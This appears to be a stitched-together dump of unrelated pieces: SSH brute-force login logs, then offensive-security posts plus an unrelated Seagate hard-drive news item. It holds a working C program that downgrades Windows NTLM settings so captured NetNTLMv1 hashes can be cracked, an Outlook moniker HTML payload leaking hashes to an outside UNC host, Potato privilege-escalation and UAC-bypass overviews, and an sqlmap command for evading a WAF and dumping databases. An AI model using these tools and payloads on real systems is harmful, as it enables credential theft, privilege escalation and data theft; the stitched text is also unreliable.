test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:18 - 17:18 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) ftpuser ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:17 - 17:17 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) user ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00) test ssh:notty 115.160.110.96 Fri Oct 11 17:16 - 17:16 (00:00)

admin ssh:notty 92.255.85.253 Fri Oct 11 17:55 - 17:55 (00:00) admin ssh:notty 92.255.85.253 Fri Oct 11 17:55 - 17:55 (00:00) root ssh:notty 92.255.85.107 Fri Oct 11 17:42 - 17:42 (00:00) baikal ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) baikal ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) pi ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) pi ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) pi ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) pi ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:21 - 17:21 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) ubuntu ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) contador ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) contador ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) contador ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) contador ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:20 - 17:20 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test2 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00) test1 ssh:notty 115.160.110.96 Fri Oct 11 17:19 - 17:19 (00:00)

Just recently Misha posted the LeakedWallpaper tool, and I have already managed to use it on the project. Everything worked great! But why do we need a NetNTLMv2 hash? Let's think about how to improve the technique if the computer has an angry EDR, but there are local admin rights. With local admin rights, you can downgrade NTLM authentication to NetNTLMv1 using registry key manipulation and get a hash that can be restored to an NTLM hash regardless of the complexity of the user's password. For this purpose, I wrote a small program that backs up the current registry settings, then downgrades and restores everything back after 60 seconds.

 #include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // for sleep function

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Error reading registry key.\n");
}
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Error writing registry key.\n");
}
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;

ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

// Delay 60 seconds
sleep(60);

NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

return 0;
}

Let's compile it like this

 x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

As a result, I managed to get the NetNTLMv1 hash of the unbrute-proof password of the privileged account and restore the NTLM hash within 10 hours. Profit! Or for the really lazy, we added the -downgrade flag directly to the LeakedWallpaper tool :) PS Don't forget to add privileged accounts to Protected Users.

Seagate has officially announced the start of commercial deliveries of HAMR models (32TB, apparently) - for now as part of the CORVAULT storage system. In the form of individual samples, they allegedly actively distribute such disks for testing and validation to key consumers (data centers, cloud providers, and the like). Cool. Really cool. I especially hope that they super-thoroughly rechecked all the servo code and everything that was needed from the old eternal bugs - fixed and brought to mind. Otherwise, one day the HAMR disk will simply turn into a "death star", only in an internal version - and will incinerate everything there, including its own heads :) They showed the first working prototype publicly in 2012 in the form of a 2.5" SAS, Only 11 years have passed 😅 and the technology (in their words) has been perfected, and "everything is really cool now, yo." Let everything be fine. Because from the latest reports, Seagate has some pretty big losses... 30TB+ in the coming years right on the market is a serious new round of evolution. https://www.anandtech.com/show/18984/seagate-ships-first-commercial-hamr-hard-drives

Happy Monday potato review everyone!!! :) Often, the presence of the SeImpersonatePrivilege privilege leads to an increase in privileges to the system. However, I have not seen anywhere sufficiently structured information that would describe not the tools themselves, but the general principle of their operation. It's time to fix it :) Conceptually, Potatoes can be divided into: - DCOM-Based - a huge part of the spoofs abuse DCOM. There, in several places, we have authentication, a context is built, and from it we can extract a token. Krb Relay things adhere to approximately the same principle. Except that there we catch a ticket and go somewhere with it, and here we attack a local system. How - you will find out very soon :)) Sorry, the video from UnderConf is late, but I am already actively engaged in distilling the material into a text format on Habr, with the addition of all sorts of tricks and gimmicks :) This includes JuicyPotatoNG , RottenPotato , LonelyPotato , JuicyPotato , RemotePotato , SweetPotato , GodPotato , RoguePotato , LocalPotato - By stealing a token. But this is a rarer chain, if we also have SeDebugPrivilege, then we can steal a token from any other process and attach it to our payload via CreateProcessWithTokenW() . POC - Capture WPAD authentication with NTLM Reflection attack. The method was patched in MS16-075. However, POC HotPotato exists. - LSA cache abuse. To prevent NTLM Reflection attacks, Microsoft came up with the idea of ​​introducing a list of resources that was stored inside LSA. The whole point was that LSASS began to store a list of all recently issued NTLM Challenges with the corresponding service in the cache in order to detect NTLM Reflection attempts. In fact, by comparing the challenge and the service on which authentication occurs, it was possible to determine the attack. The problem was that the cache had a fairly short lifetime (300 seconds), after which it was cleared. The hacker could only wait for this time, then pull LSA and escalate. The POC is called GhostPotato . The method has also already been patched. - Abuse of impersonation functions. OSEP shared with us the PrintSpoofer spoof. For those who forgot, this is a variant of exploiting SeDebug by calling a printer function that accepts a specific endpoint — a named channel (pipe). The hacker would set up his own pipe, trigger the system with the function, and the system would come to the pipe. The hacker could only call ImpersonateNamedPipeClient() to capture the account. Few people know, but there are other vulnerable services! DiagTrack — DiagTrackEop , RasMan service — RasmanPotato , AzureAttestService — magicAzureAttestService . But pipes are not the only ones. COM also has an impersonation function, called CoImpersonateClient() , it was abused in DCOMPotato . Finally, there is a more general option that only raises HTTP and SMB services. How to force the system to enter them is up to you. In the case of HTTP, a 401 request will be returned with authentication hijacking, in the case of SMB, impersonation. Such a potato is called GenericPotato

Offensive monikers. There is an interesting mechanism inside Windows systems called monikers. Monikers are a separate entity in COM. They allow you to identify a specific COM object (or even fully implement it) as a simple string. Just one string :) This is convenient, at least because you don't need to know the CLSID (which, by the way, can change). The necessary string is enough. However, like any other Windows functionality, monikers are actively abused by attackers. I have found three ways of abuse: 1. UAC Bypass. A separate class of monikers is Elevation Moniker. They allow instantiating objects in a process with a higher integrity level, which leads to UAC bypass. These objects are quite easy to find. And there is even a tool MonikerHound for detecting such objects. UAC Bypass Examples using Elevation Moniker can be found here and here . A detailed description can be found in the article on hacker . 2. Session theft. There is a Session Moniker that allows instantiating a COM object inside someone else's session. So, using Session Moniker, we can create an object with the ExecuteInCmd() method in someone else's session, call it and execute code in someone else's session. We published a code example here . And about the internal implementation of Session Moniker (in fact, what IHxExec has under the hood) I wrote here . Finally, in the just published article on hacker we looked at other ways to abuse sessions via COM. 3. NetNTLM hash leak. Not long ago, Outlook had a bug: Moniker Link Bug. Using it, it was possible to leak NetNTLM hashes when adding an HTML tag to a letter:

 <a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>

How did it work? Outlook treated the line \\10.10.111.111\test\test.rtf!something before the ! sign as a file moniker (that is, the COM object is represented in the file), and something as an Item Moniker (this is actually a COM object in some container, inside the cells of an Excel table, for example). At the same time, if the tag simply had \\10.10.111.111\test\test.rtf , then it would be a normal path, not a moniker :) Accordingly, Outlook started parsing this string, received a moniker and tried to access the path to initialize the File Moniker, which led to a NetNTLM hash leak. You can read more about this bug here . To be completely honest, Outlook saw the file moniker for the .rtf file and launched a Microsoft Word process in the background, which was already trying to open the file via the UNC path. And it was from this process that the hashes were flying :)

Bypass WAF for use of sqlmap sqlmap -u "https://target.com" --dbs --level=5 --risk=3 --user-agent -v3 --tamper="between,randomcase,space2comment" --batch --dump